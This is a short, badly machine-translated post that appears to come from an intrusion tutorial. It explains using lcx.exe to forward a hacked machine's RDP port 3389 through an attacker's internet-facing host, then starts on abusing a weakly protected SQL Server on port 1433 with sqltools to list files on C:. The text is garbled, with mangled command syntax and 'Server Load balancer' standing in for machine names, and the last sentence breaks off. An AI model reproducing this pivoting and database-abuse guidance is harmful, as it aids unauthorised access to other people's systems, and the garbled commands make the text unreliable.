Upload to the server...

Lcx.exe is A port forwarding tool, which forwards port 3389 on port A to port B. Of course, port B must have an Internet IP address. in this way, the 3389-degree port connecting to machine B is equivalent to 3389 of the connection to machine.

Usage: If you listen to-listen 51 3389 on server B and run-Server Load balancer ip address 51 ip address 3389 on Server Load balancer A, you can connect to Server Load balancer 3389 locally. the second is the local steering.

For example, there is currently a weak 1433 ip address of port 1433 is only available for port scanning. Use the sqltools link. dir to check whether C: \> dir c :\
